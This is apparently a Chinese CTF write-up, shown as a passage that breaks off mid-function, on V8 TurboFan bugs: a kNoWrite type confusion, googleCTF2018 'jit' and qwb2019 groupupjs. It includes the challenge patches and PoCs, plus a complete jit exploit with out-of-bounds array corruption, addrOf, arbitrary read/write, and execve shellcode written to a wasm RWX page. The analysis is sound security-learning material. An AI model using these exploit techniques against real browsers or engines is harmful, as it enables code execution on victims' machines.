  DCHECK(var_word32->rep() == MachineRepresentation::kWord32);
  DCHECK(var_bigint == nullptr || var_bigint->rep() == MachineRepresentation::kTagged);
  DCHECK(var_feedback == nullptr || var_feedback->rep() == MachineRepresentation::kTaggedSigned);

  // We might need to loop after conversion.
  VARIABLE(var_value, MachineRepresentation::kTagged, value);
  OverwriteFeedback(var_feedback, BinaryOperationFeedback::kNone);
  Variable* loop_vars[] = {&var_value, var_feedback};
  int num_vars = var_feedback != nullptr ? arraysize(loop_vars) : arraysize(loop_vars) - 1;
  Label loop(this, num_vars, loop_vars);
  // 循环
  Goto(&loop);
  BIND(&loop);
  {
    value = var_value.value(); // value 值
    Label not_smi(this), is_heap_number(this), is_oddball(this), is_bigint(this);
    // 判断 value 是否是 Smi
    GotoIf(TaggedIsNotSmi(value), &not_smi);

    // {value} is a Smi.
    // value 是 Smi,这里直接 Goto(if_number)
    var_word32->Bind(SmiToInt32(value));
    CombineFeedback(var_feedback, BinaryOperationFeedback::kSignedSmall);
    Goto(if_number);
	// 不是 Smi,我们知道不是 Smi 的数字都是堆存储的,其 Map 区分类型
    BIND(&not_smi);
    // 获取 value 的 map
    Node* map = LoadMap(value);
    // 根据 map 判断 value 是否是 HeapNumber【eg 浮点数】
    GotoIf(IsHeapNumberMap(map), &is_heap_number);
    // 如果 value 不是 HeapNumber,则加载其 InstanceType
    Node* instance_type = LoadMapInstanceType(map);
    // 这里还记得吗?上层函数传入就是 Object::Conversion::kToNumeric
    if (conversion == Object::Conversion::kToNumeric) {
      // 这里会进一步跟进 instance_type 来判断是否是 bigint
      GotoIf(IsBigIntInstanceType(instance_type), &is_bigint);
    }

    // Not HeapNumber (or BigInt if conversion == kToNumeric).
    // 不是 HeapNumber 和 BigInt
    {
      if (var_feedback != nullptr) {
        // We do not require an Or with earlier feedback here because once we
        // convert the value to a Numeric, we cannot reach this path. We can
        // only reach this path on the first pass when the feedback is kNone.
        CSA_ASSERT(this, SmiEqual(CAST(var_feedback->value()),
                                  SmiConstant(BinaryOperationFeedback::kNone)));
      }
      // 检查是否是 ODDBALL_TYPE
      GotoIf(InstanceTypeEqual(instance_type, ODDBALL_TYPE), &is_oddball);
      // Not an oddball either -> convert.
      // 不是 ODDBALL_TYPE 则进行转换(一般而言就是对象了)
      // 上面说了上层传入的是 Object::Conversion::kToNumeric
      // 所以这里的 builtin = Builtins::kNonNumberToNumeric
      auto builtin = conversion == Object::Conversion::kToNumeric
                         ? Builtins::kNonNumberToNumeric
                         : Builtins::kNonNumberToNumber;
      // 调用 kNonNumberToNumeric 进行类型转换,然后再次循环
      var_value.Bind(CallBuiltin(builtin, context, value));
      OverwriteFeedback(var_feedback, BinaryOperationFeedback::kAny);
      Goto(&loop);

      BIND(&is_oddball);
      var_value.Bind(LoadObjectField(value, Oddball::kToNumberOffset));
      OverwriteFeedback(var_feedback,
                        BinaryOperationFeedback::kNumberOrOddball);
      Goto(&loop);
    }

    BIND(&is_heap_number);
    var_word32->Bind(TruncateHeapNumberValueToWord32(value));
    CombineFeedback(var_feedback, BinaryOperationFeedback::kNumber);
    Goto(if_number);

    if (conversion == Object::Conversion::kToNumeric) {
      BIND(&is_bigint);
      var_bigint->Bind(value);
      CombineFeedback(var_feedback, BinaryOperationFeedback::kBigInt);
      Goto(if_bigint);
    }
  }
}

大致逻辑我都注释了,简单来说主要做如下操作:
在这里插入图片描述
接下来就是去分析 Builtins::kNonNumberToNumeric 函数了,找到其定义如下:

TF_BUILTIN(NonNumberToNumeric, CodeStubAssembler) {
  Node* context = Parameter(Descriptor::kContext);
  Node* input = Parameter(Descriptor::kArgument);

  Return(NonNumberToNumeric(context, input));
}

跟进 NonNumberToNumeric 函数:

TNode<Numeric> CodeStubAssembler::NonNumberToNumeric(
    SloppyTNode<Context> context, SloppyTNode<HeapObject> input) {
  Node* result = NonNumberToNumberOrNumeric(context, input,
                                            Object::Conversion::kToNumeric);
  CSA_SLOW_ASSERT(this, IsNumeric(result));
  return UncheckedCast<Numeric>(result);
}

跟进 NonNumberToNumberOrNumeric 函数:

Node* CodeStubAssembler::NonNumberToNumberOrNumeric(
    Node* context, Node* input, Object::Conversion mode,
    BigIntHandling bigint_handling) {
  CSA_ASSERT(this, Word32BinaryNot(TaggedIsSmi(input)));
  CSA_ASSERT(this, Word32BinaryNot(IsHeapNumber(input)));

  // We might need to loop once here due to ToPrimitive conversions.
  VARIABLE(var_input, MachineRepresentation::kTagged, input);
  VARIABLE(var_result, MachineRepresentation::kTagged);
  Label loop(this, &var_input);
  Label end(this);
  Goto(&loop);
  // 循环
  BIND(&loop);
  {
    // Load the current {input} value (known to be a HeapObject).
    Node* input = var_input.value();

    // Dispatch on the {input} instance type.
    Node* input_instance_type = LoadInstanceType(input);
    Label if_inputisstring(this), if_inputisoddball(this),
          if_inputisbigint(this), if_inputisreceiver(this, Label::kDeferred),
          if_inputisother(this, Label::kDeferred);
    // 依次检查是否是 String、BigInt、oddBall、JSReceiver
    GotoIf(IsStringInstanceType(input_instance_type), &if_inputisstring);
    GotoIf(IsBigIntInstanceType(input_instance_type), &if_inputisbigint);
    GotoIf(InstanceTypeEqual(input_instance_type, ODDBALL_TYPE), &if_inputisoddball);
    Branch(IsJSReceiverInstanceType(input_instance_type), &if_inputisreceiver, &if_inputisother);
	// 这里只需要关注 JSReceiver
    BIND(&if_inputisstring);
	......

    BIND(&if_inputisbigint);
    ......

    BIND(&if_inputisoddball);
	.....

    BIND(&if_inputisreceiver);
    {
      // The {input} is a JSReceiver, we need to convert it to a Primitive first
      // using the ToPrimitive type conversion, preferably yielding a Number.
      // 调用 NonPrimitiveToPrimitive 进行转换
      // 这里最后调用到的是 NonPrimitiveToPrimitive_Number
      /*
Handle<Code> Builtins::NonPrimitiveToPrimitive(ToPrimitiveHint hint) {
  switch (hint) {
    case ToPrimitiveHint::kDefault:
      return builtin_handle(kNonPrimitiveToPrimitive_Default);
    case ToPrimitiveHint::kNumber:
      return builtin_handle(kNonPrimitiveToPrimitive_Number);
    case ToPrimitiveHint::kString:
      return builtin_handle(kNonPrimitiveToPrimitive_String);
  }
  UNREACHABLE();
}
	 */
      Callable callable = CodeFactory::NonPrimitiveToPrimitive(
          isolate(), ToPrimitiveHint::kNumber);
      Node* result = CallStub(callable, context, input);

      // Check if the {result} is already a Number/Numeric.
      // 检查是否已经是一个 Numeric,上层传入的 mode = Object::Conversion::kToNumeric,这个就不多说了
      Label if_done(this), if_notdone(this);
      Branch(mode == Object::Conversion::kToNumber ? IsNumber(result)
                                                   : IsNumeric(result),
             &if_done, &if_notdone);

	  // 转换成功
      BIND(&if_done);
	  ......
	  // 转换不彻底,继续转换
      BIND(&if_notdone);
      {
        // We now have a Primitive {result}, but it's not yet a Number/Numeric.
        var_input.Bind(result);
        Goto(&loop);
      }
    }
	// 处理 Symbol 等一些其它类型,这里不用关心
    BIND(&if_inputisother);
    {
      // The {input} is something else (e.g. Symbol), let the runtime figure
      // out the correct exception.
      // Note: We cannot tail call to the runtime here, as js-to-wasm
      // trampolines also use this code currently, and they declare all
      // outgoing parameters as untagged, while we would push a tagged
      // object here.
      auto function_id = mode == Object::Conversion::kToNumber
                             ? Runtime::kToNumber
                             : Runtime::kToNumeric;
      var_result.Bind(CallRuntime(function_id, context, input));
      Goto(&end);
    }
  }
  // 转换结束,一些 check,然后就直接返回
  BIND(&end);
  ......
  return var_result.value();
}

这个函数跟之前分析的 Object::toNumber 的调用逻辑都差不多,都是依次调用 Symbol.toPrimitivevalueOftoString,所以这里就不多分析了,具体见注释或之前的题目分析

感兴趣的读者可以继续分析:

TF_BUILTIN(NonPrimitiveToPrimitive_Number, ConversionBuiltinsAssembler) {
 Node* context = Parameter(Descriptor::kContext);
 Node* input = Parameter(Descriptor::kArgument);

 Generate_NonPrimitiveToPrimitive(context, input, ToPrimitiveHint::kNumber);
}

然后跟进 Generate_NonPrimitiveToPrimitive 就是相关转换逻辑了

简单测试一下:

var a = { valueOf() { print("valueOf"); return 1; }};
var b = { toString() { print("toString"); return 1; }};
print(a & b);
// 输出:
/*
valueOf
toString
1
*/

漏洞产生原因
说了这么多,漏洞在哪里呢?漏洞该如何触发呢?其实上面分析的逻辑本身不存在问题,关键在于题目引入的 kNoWrite 属性,这搁属性会导致 CheckMaps节点的消除优化,从而导致类型混淆漏洞。

然后由于网不好,环境还没有配好,乐…
在这里插入图片描述
拉了6个小时了还没好,漏洞 poc 与利用后面环境配好了再补

Go On 环境终于搭好了 =======================================================

回到上文,由于 & 操作被赋予了 kNoWrite 属性,所以 trubofan 会认为 & 操作不存在副作用,即 & 操作不会导致对象或系统的状态被修改,说人话就是 trubofan 会认为 & 操作不会修改任何对象的类型。但是当 & 操作的操作数是对象时,会调用对象的 valueOf 等回调函数,而在回调函数中我们是可以修改对象的类型的,所以 & 操作是存在副作用的。

第一版 poc

const {log} = console;

function trigger(arr, obj) {
        arr[0];
        let idx = obj & -1;
        return arr[idx];
}

var arr = [.1];
var obj = {
        valueOf(){
                return 0;
        }
};

for (let i = 0; i < 0x10000; i++) {
        trigger(arr, obj);
}

var tmp = [1.1, 1.2];
var obj = {
        valueOf(){
                arr[0] = tmp;
                return 0;
        }
};

log(trigger(arr, obj));

我的想法是在 trigger 函数中:

  • arr[0] 确定 arr 类型为 DOUBLE 类型
  • obj & -1 在回调函数中修改 arr[0] 为某一对象,但是由于 & 操作 turbofan 认为不产生副作用,所以 arr 的类型还是被认为是 DOUBLE 类型
  • 最后 arr[0] 即可读出被设置对象的地址

但是最后的输出却意想不到,最后输出的是 0.1,按理说 arr[0] 已经被我修改成了 tmp 对象了,再怎么样也不应该返回 0.1 啊,而且如果我将 arr[0] 修改为 5.2 时,又可以正常返回 5.2,所以还是来看下 IR 图吧:
typed lowering 阶段:
在这里插入图片描述
simplified lowering 阶段:
在这里插入图片描述
可以看到这里 arr[0] 似乎直接被优化没了,最重要的就是第一个 CheckMaps 节点没了,所以 arr[idx]CheckMaps 不会被优化。

所以我们的目标就很明确了,在 arr[idx] 前产生一个对 arrCheckMaps 节点,由于 &kNoWrite 属性,会认为 arr[idx] 时,arrMap 不会被改变,所以就会将执行 arr[idx] 前的 CheckMaps 节点优化掉。

最后搞很好久,都没有解决,本打算经过一些运算去保留第一个 CheckMaps 节点,但是发现第二个 CheckMaps 并没有被顺利消除,最后疯狂找,找到了官方 poc,其是利用 . 运算符去取属性,因此有如下第二版 poc

const {log} = console;

function trigger(arr, obj) {
        arr.a;
        let idx = obj & -1;
        return arr[idx];
}

var arr = [.1];
arr.a = .1;
var obj = {
        valueOf(){
                return 0;
        }
};

for (let i = 0; i < 0x10000; i++) {
        trigger(arr, obj);
}

var tmp = [1.1, 1.2];
var obj = {
        valueOf(){
                arr[0] = tmp;
                return 0;
        }
};


log(trigger(arr, obj));
// 输出:
// 2.5529527194428e-310

在这里插入图片描述

原理还没搞清楚呢,奇奇怪怪

漏洞利用
这里的 addrOf 我已经成功构造出来了,但是 fakeObj 一直没有构造成功,所以这里漏洞利用暂时搁置:

const {log} = console;

var raw_buf = new ArrayBuffer(0x8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

let d2l = (v) => {
        d_buf[0] = v;
        return l_buf[0];
};

let l2d = (v) => {
        l_buf[0] = v;
        return d_buf[0];
};

let hexx = (str, v) => {
        log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};

function pre_addrOf(arr, obj) {
        arr.a;
        let idx = obj & -1;
        return arr[idx];
}

var r_arr = [.1];
r_arr.a = .1;

var obj = {valueOf(){ return 0; }};

for (let i = 0; i < 0x10000; i++) {
        pre_addrOf(r_arr, obj);
}

function addrOf(obj) {
        let xor = {
                valueOf(){
                        r_arr[0] = obj;
                        return 0;
        }};
        return pre_addrOf(r_arr, xor);
}

var test_arr = [1.1];
%DebugPrint(test_arr);
hexx("test_arr_addr", d2l(addrOf(test_arr)));

输出如下:可以看到这里可以成功泄漏对象地址
在这里插入图片描述

=================== 问题=====================================
上面构造的 addrOf 似乎也存在问题,当多次利用 addrOf 时:

.....
var test_arr = [1.1];
%DebugPrint(test_arr);
hexx("test_arr_addr", d2l(addrOf(test_arr)));
hexx("test_arr_addr", d2l(addrOf(test_arr)));
hexx("test_arr_addr", d2l(addrOf(test_arr)));

第二、三次都没有成功泄漏对象地址,也就是说上面构造的 addrOf 只能利用一次:
在这里插入图片描述
看来的对这个漏洞的理解还是不清楚,最后找到一篇文章(但是这篇文章也没有说清楚漏洞为啥这里利用)参考文章

反正就是很懵逼,但是可以跟着这篇文章学一些利用方式,这里我还是很懵逼,所以就不写了,感兴趣的读者可以自行学习上述参考文章

JIT 阶段导致的 OOB 【主要是针对 CheckBounds 节点的消除】

这里消除 CheckBounds 节点的主要方式就是利用在数值的运算错误漏洞中,在 javascript 层和 JIT 优化的代码,两者计算的数值不一致,从而消除 CheckBounds 实现数组越界

googleCTF2018 jit【turbofan 浮点数精度丢失消除CheckBounds】

环境搭建

git checkout 7.0.276.3 # 如果需要force,则添加-f参数。gclient同样如此。
gclient sync -D

在编译时,在 args.gn 中加入 v8_untrusted_code_mitigations = false 选项:

is_debug = false
target_cpu = "x64"

symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

v8_untrusted_code_mitigations = false

这里之所以加上上述选项,是因为 chrome 开发者去掉了 Simplified lowering 过程中的边界检查优化,加上上述选项则可以开启 CheckBound 的优化。
漏洞分析

diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
     "src/compiler/dead-code-elimination.cc",
     "src/compiler/dead-code-elimination.h",
     "src/compiler/diamond.h",
+    "src/compiler/duplicate-addition-reducer.cc",
+    "src/compiler/duplicate-addition-reducer.h",
     "src/compiler/effect-control-linearizer.cc",
     "src/compiler/effect-control-linearizer.h",
     "src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+                     CommonOperatorBuilder* common)
+    : AdvancedReducer(editor),
+      graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+  switch (node->opcode()) {
+    case IrOpcode::kNumberAdd:
+      return ReduceAddition(node);
+    default:
+      return NoChange();
+  }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+  DCHECK_EQ(node->op()->ControlInputCount(), 0);
+  DCHECK_EQ(node->op()->EffectInputCount(), 0);
+  DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+  Node* left = NodeProperties::GetValueInput(node, 0);
+  if (left->opcode() != node->opcode()) {
+    return NoChange();
+  }
+
+  Node* right = NodeProperties::GetValueInput(node, 1);
+  if (right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  Node* parent_left = NodeProperties::GetValueInput(left, 0);
+  Node* parent_right = NodeProperties::GetValueInput(left, 1);
+  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  double const1 = OpParameter<double>(right->op());
+  double const2 = OpParameter<double>(parent_right->op());
+  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+  NodeProperties::ReplaceValueInput(node, parent_left, 0);
+  NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+  return Changed(node);
+}
+
+}  // namespace compiler
+}  // namespace internal
+}  // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+    : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+  DuplicateAdditionReducer(Editor* editor, Graph* graph,
+                      CommonOperatorBuilder* common);
+  ~DuplicateAdditionReducer() final {}
+
+  const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+  Reduction Reduce(Node* node) final;
+
+ private:
+  Reduction ReduceAddition(Node* node);
+
+  Graph* graph() const { return graph_;}
+  CommonOperatorBuilder* common() const { return common_; };
+
+  Graph* const graph_;
+  CommonOperatorBuilder* const common_;
+
+  DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+}  // namespace compiler
+}  // namespace internal
+}  // namespace v8
+
+#endif  // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
 #include "src/compiler/constant-folding-reducer.h"
 #include "src/compiler/control-flow-optimizer.h"
 #include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
 #include "src/compiler/effect-control-linearizer.h"
 #include "src/compiler/escape-analysis-reducer.h"
 #include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
                                data->jsgraph()->Dead());
     DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                               data->common(), temp_zone);
+    DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+                                              data->common());
     JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
                                      data->jsgraph(), data->js_heap_broker(),
                                      data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
                                          data->js_heap_broker(), data->common(),
                                          data->machine(), temp_zone);
     AddReducer(data, &graph_reducer, &dead_code_elimination);
+    AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
     AddReducer(data, &graph_reducer, &create_lowering);
     AddReducer(data, &graph_reducer, &constant_folding_reducer);
     AddReducer(data, &graph_reducer, &typed_optimization);

TypedLoweringPhase 阶段添加了一种优化,代码逻辑比较简单就不分析了:
在这里插入图片描述
然后 x + m + n == x + (n + m) 并不是恒成立的,当其为 double 类型时存在精度丢失,然后可以利用其来绕过 CheckBound 检测,从而导致越界读写:

V8 version 7.0.276.3
d8> var x = Number.MAX_SAFE_INTEGER + 1;
undefined
d8> x
9007199254740992
d8> x + 1
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 2
9007199254740994
d8>

漏洞利用

/*let debug = (o) => {
        %DebugPrint(o);
        %SystemBreak();
}*/

function hexx(str, value)
{
        print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
}

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function l2d(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

function d2l(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

var arr = [];
function trigger_oob(x)
{
        arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
        let i = (x == 1? 9007199254740992: 9007199254740989); // range(9007199254740989, 9007199254740992);
        i = i + 1 + 1;  // range(9007199254740991, 9007199254740992); ==> range(9007199254740991, 9007199254740994);
        i -= 9007199254740989;  // range(2, 3); ==> range(2, 5);
        i *=2; // range(4, 6); ==> range(4, 10);
        arr[i] = 2.1729236899484e-311; // set length ==> 1024
}

for (let i = 0; i < 0x10000; i++)
{
        trigger_oob(1);
}

if (arr[1023] == undefined)
{
        throw "FAILED to escape CHECKBOUND";
} else {
        hexx("arr.length", arr.length);
}

var arb_buf = new ArrayBuffer(0x100);
var arb = new DataView(arb_buf);
var tmp = [0xeabeef, arb_buf, arr];
var backing_store_index = -1n;

for (let i = 0; i < 1022; i++)
{
        if (0x00eabeef00000000n == d2l(arr[i]))
        {
                backing_store_index = (d2l(arr[i+1]) + 0x20n -1n - (d2l(arr[i+2]) - 0x38n - 1n)) / 8n;
                break;
        }
}

if (backing_store_index == -1n || backing_store_index > 1023n)
{
        throw "Error backing_store_index";
}

hexx("backing_store_index", backing_store_index);

function arb_read(addr)
{
        arr[backing_store_index] = l2d(addr);
        return arb.getBigInt64(0, true);
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

tmp = [0xdabeef, wasm_instance];

var wasm_instance_addr = -1n;
for (let i = 0; i < 1023; i++)
{
        if (0x00dabeef00000000n == d2l(arr[i]))
        {
                wasm_instance_addr = d2l(arr[i+1]) - 1n;
                break;
        }
}

if (wasm_instance_addr == -1n)
{
        throw "Error wasm_instance_addr";
}

hexx("wasm_instance_addr", wasm_instance_addr);

var rwx_addr = arb_read(wasm_instance_addr+0xe8n);
hexx("rwx_addr", rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

arr[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
        arb.setBigInt64(i*8, shellcode[i], true);
}

pwn();

qwb2019-final-groupupjs【turbofan 新版CheckBounds 再利用】

环境搭建

git reset --hard 7.7.2
gclient sync -D

漏洞分析

diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
       if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
       if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
       if (m.IsFoldable()) {                                    // K < K => K
-        return ReplaceBool(m.left().Value() < m.right().Value());
+        return ReplaceBool(m.left().Value() < m.right().Value() + 1);
       }
       if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
       if (m.left().IsWord32Sar() && m.right().HasValue()) {      

人为构造的漏洞,仅仅将 m.right().Value()加了1,还是定位到源码:

// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
  switch (node->opcode()) {
	......
    case IrOpcode::kUint32LessThan: {
      Uint32BinopMatcher m(node);
      if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
      if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
      if (m.IsFoldable()) {                                    // K < K => K
        return ReplaceBool(m.left().Value() < m.right().Value() + 1);
      }
      if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
      if (m.left().IsWord32Sar() && m.right().HasValue()) {
        Int32BinopMatcher mleft(m.left().node());
        if (mleft.right().HasValue()) {
          // (x >> K) < C => x < (C << K)
          // when C < (M >> K)
          const uint32_t c = m.right().Value();
          const uint32_t k = mleft.right().Value() & 0x1F;
          if (c < static_cast<uint32_t>(kMaxInt >> k)) {
            node->ReplaceInput(0, mleft.left().node());
            node->ReplaceInput(1, Uint32Constant(c << k));
            return Changed(node);
          }
          // TODO(turbofan): else the comparison is always true.
        }
      }
      break;
    }
    ......

这里是在 MachineOperatorReducer::Reduce 中的 IrOpcode::kUint32LessThan 引入了漏洞,调试发现 MachineOperatorReducer::Reduce 会在 EarlyOptimizationPhaseLateOptimizationPhaseMachineOperatorOptimizationPhase 趟中被调用,这里关注 LateOptimizationPhase 即可。

CheckBounds 节点

SimplifiedLoweringPhase::Run
    SimplifiedLowering::LowerAllNodes
      RepresentationSelector::Run
        RepresentationSelector::VisitNode

在老版的 v8 中,在 simplified lowering 会对 CheckBounds 节点进行消除:

......
     case IrOpcode::kCheckBounds: {
        const CheckParameters& p = CheckParametersOf(node->op());
        Type index_type = TypeOf(node->InputAt(0));
        Type length_type = TypeOf(node->InputAt(1));
        if (index_type.Is(Type::Integral32OrMinusZero())) {
          // Map -0 to 0, and the values in the [-2^31,-1] range to the
          // [2^31,2^32-1] range, which will be considered out-of-bounds
          // as well, because the {length_type} is limited to Unsigned31.
          VisitBinop(node, UseInfo::TruncatingWord32(),
                     MachineRepresentation::kWord32);
          if (lower() && lowering->poisoning_level_ ==
                             PoisoningMitigationLevel::kDontPoison) {
            if (index_type.IsNone() || length_type.IsNone() ||
                (index_type.Min() >= 0.0 &&
                 index_type.Max() < length_type.Min())) {
              // The bounds check is redundant if we already know that
              // the index is within the bounds of [0.0, length[.
              DeferReplacement(node, node->InputAt(0));
            }
          }
        } else {
          VisitBinop(
              node,
              UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
              UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
        }
        return;
      }
......

而在新版的 v8 中,不会再消除 CheckBounds 节点了:

      case IrOpcode::kCheckBounds:
        return VisitCheckBounds(node, lowering);

这里是直接调用了 VisitCheckBounds 进行相关处理,直接跟进该函数:

void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
    CheckParameters const& p = CheckParametersOf(node->op());
    Type const index_type = TypeOf(node->InputAt(0));
    Type const length_type = TypeOf(node->InputAt(1));
    if (length_type.Is(Type::Unsigned31())) {
      if (index_type.Is(Type::Integral32OrMinusZero())) {
        // Map -0 to 0, and the values in the [-2^31,-1] range to the
        // [2^31,2^32-1] range, which will be considered out-of-bounds
        // as well, because the {length_type} is limited to Unsigned31.
        VisitBinop(node, UseInfo::TruncatingWord32(),
                   MachineRepresentation::kWord32);
        if (lower()) {
          CheckBoundsParameters::Mode mode =
              CheckBoundsParameters::kDeoptOnOutOfBounds;
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            mode = CheckBoundsParameters::kAbortOnOutOfBounds;
          }
          NodeProperties::ChangeOp(
              node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
        }
      } else {
        VisitBinop(
            node,
            UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
            UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
        if (lower()) {
          NodeProperties::ChangeOp(
              node,
              simplified()->CheckedUint32Bounds(
                  p.feedback(), CheckBoundsParameters::kDeoptOnOutOfBounds));
        }
      }
    } else {
      DCHECK(length_type.Is(type_cache_->kPositiveSafeInteger));
      VisitBinop(node,
                 UseInfo::CheckedSigned64AsWord64(kIdentifyZeros, p.feedback()),
                 UseInfo::Word64(), MachineRepresentation::kWord64);
      if (lower()) {
        NodeProperties::ChangeOp(
            node, simplified()->CheckedUint64Bounds(p.feedback()));
      }
    }
  }

可以看到这里是设置为 kAbortOnOutOfBounds 模式并将节点替换为 CheckedUint32Bounds 节点。
来个 demo

const {log} = console;

function trigger(x) {
        let tmp_arr = [1.1, 1.2, 1.3, 1.4];
        let idx = (x === "pwn" ? 1: 2);
        idx += 1;
        return tmp_arr[idx];
}

for (let i = 0; i < 0x100000; i++) {
        trigger("pwn");
}
log(trigger("pwn"));

Typer 阶段:
在这里插入图片描述
SimplifiedLowering 阶段:
在这里插入图片描述
而在 EffectLinearization 阶段,会将 CheckedUint32Bounds 节点替换为 Uint32LessThan 节点:

class EffectControlLinearizer {
 public:
......
  Node* LowerCheckedUint32Bounds(Node* node, Node* frame_state);
......
  Node* LowerCheckedUint64Bounds(Node* node, Node* frame_state);
......

来看下 LowerCheckedUint32Bounds 函数,这里的模式在上面说了是 kAbortOnOutOfBounds

Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
                                                        Node* frame_state) {
